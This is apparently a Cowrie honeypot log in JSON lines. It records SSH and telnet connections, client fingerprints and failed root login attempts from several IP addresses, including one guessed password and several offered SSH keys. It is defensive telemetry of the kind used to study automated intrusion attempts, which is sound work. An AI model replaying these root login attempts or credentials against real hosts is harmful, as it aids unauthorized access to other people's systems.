{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:47.794460Z","src_ip":"103.77.242.62","session":"f8750a0570a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nbvjatq","message":"login attempt [root/nbvjatq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:48.492445Z","src_ip":"103.77.242.62","session":"f8750a0570a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60608,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2b8fc8c10e8","protocol":"telnet","message":"New connection: 152.42.224.71:60608 (10.17.0.5:23) [session: f2b8fc8c10e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:48.628945Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60610,"dst_ip":"10.17.0.5","dst_port":23,"session":"8332d8f43b4a","protocol":"telnet","message":"New connection: 152.42.224.71:60610 (10.17.0.5:23) [session: 8332d8f43b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:49.086081Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:49.727236Z","src_ip":"103.77.242.62","session":"f8750a0570a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60616,"dst_ip":"10.17.0.5","dst_port":23,"session":"dab973aec1cc","protocol":"telnet","message":"New connection: 152.42.224.71:60616 (10.17.0.5:23) [session: dab973aec1cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:51.939102Z"}
{"eventid":"cowrie.session.closed","duration":44.54450559616089,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:52.818340Z","src_ip":"152.42.224.71","session":"dd8698cb7d51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.20.127.158","src_port":44182,"dst_ip":"10.17.0.5","dst_port":22,"session":"f05fe87b21e2","protocol":"ssh","message":"New connection: 198.20.127.158:44182 (10.17.0.5:22) [session: f05fe87b21e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:59.286207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:59.290614Z","src_ip":"198.20.127.158","session":"f05fe87b21e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:59.377905Z","src_ip":"198.20.127.158","session":"f05fe87b21e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56496,"dst_ip":"10.17.0.5","dst_port":23,"session":"800137cedf57","protocol":"telnet","message":"New connection: 152.42.224.71:56496 (10.17.0.5:23) [session: 800137cedf57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:59.720313Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:cd:95:48:7c:aa:1c:f9:5f:7c:e5:ce:41:2b:f7:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1XmnP4zQO1IF5FSA8FXcMnGGo9aZNytkS4DVWvwe2TdI5a2l/qV4vJKbz7Md8Bz8oW19GzM83xRm7WQLfPcRLj644XRxY6VBpMudNsVjx2oHeaK+P3+ViMyj77ZoCtjOboAw9Z+fwTbcyjhzGhkUiMd2tk6tP/AwNiwvr7yU3mW1oCAU5YVj2QVI+RsBRSPOiEec1TGZ8UsQXens2bYE3/OVsddM/Qt1aHrniLBp/GXm2DO+pwaOVkk4+auWkWXCsOnkSnAORHsvxE+X/Hst+8s4b8jiOogGJdtYBJ29Yb1Rw50xA98eSjH/O+ePsHLxqa4I1tlTMvwLgQhBs29dP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:cd:95:48:7c:aa:1c:f9:5f:7c:e5:ce:41:2b:f7:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:59.794777Z","src_ip":"198.20.127.158","session":"f05fe87b21e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:cd:95:48:7c:aa:1c:f9:5f:7c:e5:ce:41:2b:f7:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1XmnP4zQO1IF5FSA8FXcMnGGo9aZNytkS4DVWvwe2TdI5a2l/qV4vJKbz7Md8Bz8oW19GzM83xRm7WQLfPcRLj644XRxY6VBpMudNsVjx2oHeaK+P3+ViMyj77ZoCtjOboAw9Z+fwTbcyjhzGhkUiMd2tk6tP/AwNiwvr7yU3mW1oCAU5YVj2QVI+RsBRSPOiEec1TGZ8UsQXens2bYE3/OVsddM/Qt1aHrniLBp/GXm2DO+pwaOVkk4+auWkWXCsOnkSnAORHsvxE+X/Hst+8s4b8jiOogGJdtYBJ29Yb1Rw50xA98eSjH/O+ePsHLxqa4I1tlTMvwLgQhBs29dP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:59.798245Z","src_ip":"198.20.127.158","session":"f05fe87b21e2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:74:1d:4b:8f:64:e6:c4:9e:1c:94:f3:32:67:f0:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxpq14F4eDAvrnC9q5UBoDJSuYk6p6trAFprjcN+sOdZVCPllCNzudj1FV/HVVpVoTJ72qvdDSmYHVd/olW85SyIfMXJuBpjNm3vQJNkN8ww/UmaiLO4tvWi2w1AG+SE7E6eZMsfACJzaws+NPQ6mAXgBTtDYlLy1BJaXtUtpci4fK9qTcdE+KYXYKFgqZ8y4PxX2bxE5xYlCRQ7ephreywlPLf0kQaOg2r2cMnzKc6byaOxjZTOaDOonAhdiZGNX5wXhOaWf2VR7lofNWT8QA/yh8/TlCrgX6J16thil2p74i1J5sQzfy4cWLPMWI32l9TtkP58YDVJ/aeZrrSqzBw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:74:1d:4b:8f:64:e6:c4:9e:1c:94:f3:32:67:f0:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:59.889334Z","src_ip":"198.20.127.158","session":"f05fe87b21e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:74:1d:4b:8f:64:e6:c4:9e:1c:94:f3:32:67:f0:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxpq14F4eDAvrnC9q5UBoDJSuYk6p6trAFprjcN+sOdZVCPllCNzudj1FV/HVVpVoTJ72qvdDSmYHVd/olW85SyIfMXJuBpjNm3vQJNkN8ww/UmaiLO4tvWi2w1AG+SE7E6eZMsfACJzaws+NPQ6mAXgBTtDYlLy1BJaXtUtpci4fK9qTcdE+KYXYKFgqZ8y4PxX2bxE5xYlCRQ7ephreywlPLf0kQaOg2r2cMnzKc6byaOxjZTOaDOonAhdiZGNX5wXhOaWf2VR7lofNWT8QA/yh8/TlCrgX6J16thil2p74i1J5sQzfy4cWLPMWI32l9TtkP58YDVJ/aeZrrSqzBw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:59.893414Z","src_ip":"198.20.127.158","session":"f05fe87b21e2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:04:cc:b4:d0:7c:d2:b0:a7:db:a7:5a:f0:53:1c:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiZahO1Bn/h+PkpiCXnidNvG4xbdzon9TkOW2Lvz8vDkivAGHL9GIZ0tblimJN/iNS3Y2y6iXH79cD+mqzc9IeDPTANeXFCVKYntzTklEh3Z6u5trdtll/gqWHvk8MLLgCvCuqCTmd+ms8wARtQdWSQ8yHHY06aQYrJnHxlJxkwh/sHXwLYcDnX5bQQZGFiIAC1+rXpcIvwsaL/ovyTQC0EFJaPmLx4r27k6xcbO+vd7ht6v2J/CRqhtsjQghLCiRfwBv38EDeyQBwM6KqgjEGYe4YHKiQQqBXwlL2CXAaW4foFiY4cY8uI+4eri0jbqdZQMmJGnDVl4PMafJ2nqG/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:04:cc:b4:d0:7c:d2:b0:a7:db:a7:5a:f0:53:1c:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:59.981951Z","src_ip":"198.20.127.158","session":"f05fe87b21e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:04:cc:b4:d0:7c:d2:b0:a7:db:a7:5a:f0:53:1c:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiZahO1Bn/h+PkpiCXnidNvG4xbdzon9TkOW2Lvz8vDkivAGHL9GIZ0tblimJN/iNS3Y2y6iXH79cD+mqzc9IeDPTANeXFCVKYntzTklEh3Z6u5trdtll/gqWHvk8MLLgCvCuqCTmd+ms8wARtQdWSQ8yHHY06aQYrJnHxlJxkwh/sHXwLYcDnX5bQQZGFiIAC1+rXpcIvwsaL/ovyTQC0EFJaPmLx4r27k6xcbO+vd7ht6v2J/CRqhtsjQghLCiRfwBv38EDeyQBwM6KqgjEGYe4YHKiQQqBXwlL2CXAaW4foFiY4cY8uI+4eri0jbqdZQMmJGnDVl4PMafJ2nqG/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:12:59.985662Z","src_ip":"198.20.127.158","session":"f05fe87b21e2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:2d:26:a6:0c:ee:58:a6:26:ce:07:ae:dc:ee:63:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsdA8QGCmZVFDJ2iDJQ6MmHBZnAiPg1wytAu7vh8jD3CBSNcdspVBE7PjCRwRwcnMC7l+IBvzpewb+77qmfJ228Vl2w6DFfA+1DbBTh6TDoJo+lcE/478rBZX1IKdv+F57silFtjtfVhgy3oACQ2fWmuX+OB/hyOy8MrzMzGoyJx7h16QKlqIR29Fqt9Csvzadxsm+yg//Z9wQevJUwL8lyi3nYUfh/JCYzi892cP42cGkZShaeKewnPqur6FVWQozt8s89eNxDFrvwiVbK/fR+fv8OX2zjV9RPWlPbFxWKNt8pWKT3ZKTFNgXR9UzQGgUP2Y+g+sBxSpTO2BhHheN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:2d:26:a6:0c:ee:58:a6:26:ce:07:ae:dc:ee:63:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:00.074491Z","src_ip":"198.20.127.158","session":"f05fe87b21e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:2d:26:a6:0c:ee:58:a6:26:ce:07:ae:dc:ee:63:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsdA8QGCmZVFDJ2iDJQ6MmHBZnAiPg1wytAu7vh8jD3CBSNcdspVBE7PjCRwRwcnMC7l+IBvzpewb+77qmfJ228Vl2w6DFfA+1DbBTh6TDoJo+lcE/478rBZX1IKdv+F57silFtjtfVhgy3oACQ2fWmuX+OB/hyOy8MrzMzGoyJx7h16QKlqIR29Fqt9Csvzadxsm+yg//Z9wQevJUwL8lyi3nYUfh/JCYzi892cP42cGkZShaeKewnPqur6FVWQozt8s89eNxDFrvwiVbK/fR+fv8OX2zjV9RPWlPbFxWKNt8pWKT3ZKTFNgXR9UzQGgUP2Y+g+sBxSpTO2BhHheN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:00.080623Z","src_ip":"198.20.127.158","session":"f05fe87b21e2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:da:2d:24:82:87:51:e8:e7:2c:61:6a:8e:fb:af:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3pAmqMo84Ox8yhKdLBTKdM2Tp6oQKaY9R+aFJ9vT4bPGqYp1SYTMxNgTQMXivMTR0nGKULKT59c/iEEcAyqa8iUIhByQWW9qsGfupLXl8VkEQWssQz1bXbQRKj1HFwU3Z1Rqd/EbxyUTSMwEXXpQ8fOy78BrWzfIBxCRTAWXgCEQme2aIuzh71+2xN9t7lrbRe5w98u2L5tvIwNoYgSTsevtVJwcAW6zutybPh7ix9b6ZW6uEpUjSWeGFd0fGsWQimZ2cCeNuwrDltbl25Z7A5D5LRjYeSYNtGMnxxz9ssN7qNQtlJnERnAvN+f3UtzNyMTJdbAlQtm5mk5XhOQlf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:da:2d:24:82:87:51:e8:e7:2c:61:6a:8e:fb:af:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:00.171488Z","src_ip":"198.20.127.158","session":"f05fe87b21e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:da:2d:24:82:87:51:e8:e7:2c:61:6a:8e:fb:af:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3pAmqMo84Ox8yhKdLBTKdM2Tp6oQKaY9R+aFJ9vT4bPGqYp1SYTMxNgTQMXivMTR0nGKULKT59c/iEEcAyqa8iUIhByQWW9qsGfupLXl8VkEQWssQz1bXbQRKj1HFwU3Z1Rqd/EbxyUTSMwEXXpQ8fOy78BrWzfIBxCRTAWXgCEQme2aIuzh71+2xN9t7lrbRe5w98u2L5tvIwNoYgSTsevtVJwcAW6zutybPh7ix9b6ZW6uEpUjSWeGFd0fGsWQimZ2cCeNuwrDltbl25Z7A5D5LRjYeSYNtGMnxxz9ssN7qNQtlJnERnAvN+f3UtzNyMTJdbAlQtm5mk5XhOQlf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:00.176036Z","src_ip":"198.20.127.158","session":"f05fe87b21e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:00.268024Z","src_ip":"198.20.127.158","session":"f05fe87b21e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":118.42470002174377,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:07.639744Z","src_ip":"152.42.224.71","session":"aa685d1238e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93052625656128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:08.317915Z","src_ip":"146.19.210.8","session":"87efab0ed313","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.39025282859802,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:12.430856Z","src_ip":"152.42.224.71","session":"1833463b93d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.31900143623352,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:16.518175Z","src_ip":"152.42.224.71","session":"a4e1c9627014","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.980990648269653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:20.066933Z","src_ip":"152.42.224.71","session":"8332d8f43b4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":44790,"dst_ip":"10.17.0.5","dst_port":22,"session":"a95b80e4cbf5","protocol":"ssh","message":"New connection: 194.59.206.2:44790 (10.17.0.5:22) [session: a95b80e4cbf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:23.638719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:23.643351Z","src_ip":"194.59.206.2","session":"a95b80e4cbf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:23.724706Z","src_ip":"194.59.206.2","session":"a95b80e4cbf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:23.810425Z","src_ip":"194.59.206.2","session":"a95b80e4cbf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00286865234375,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:25.946688Z","src_ip":"152.42.224.71","session":"64184b8a0de6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56720,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e0ab266cbf0","protocol":"telnet","message":"New connection: 152.42.224.71:56720 (10.17.0.5:23) [session: 0e0ab266cbf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:28.209652Z"}
{"eventid":"cowrie.session.closed","duration":35.2019989490509,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:34.922127Z","src_ip":"152.42.224.71","session":"800137cedf57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":40816,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d9f6c6efe34","protocol":"ssh","message":"New connection: 47.237.167.49:40816 (159.203.135.109:22) [session: 4d9f6c6efe34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:37.903406Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38670,"dst_ip":"10.17.0.5","dst_port":23,"session":"57314f0dba94","protocol":"telnet","message":"New connection: 152.42.224.71:38670 (10.17.0.5:23) [session: 57314f0dba94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:41.475435Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38680,"dst_ip":"10.17.0.5","dst_port":23,"session":"273003082fde","protocol":"telnet","message":"New connection: 152.42.224.71:38680 (10.17.0.5:23) [session: 273003082fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:42.052969Z"}
{"eventid":"cowrie.session.closed","duration":52.05206084251404,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:43.991070Z","src_ip":"152.42.224.71","session":"dab973aec1cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38684,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac9fb34d8fd2","protocol":"telnet","message":"New connection: 152.42.224.71:38684 (10.17.0.5:23) [session: ac9fb34d8fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:44.970215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:47.974284Z","src_ip":"47.237.167.49","session":"4d9f6c6efe34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.085837841033936,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:54.295371Z","src_ip":"152.42.224.71","session":"0e0ab266cbf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33274,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b154f35ced7","protocol":"telnet","message":"New connection: 152.42.224.71:33274 (10.17.0.5:23) [session: 4b154f35ced7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:54.365244Z"}
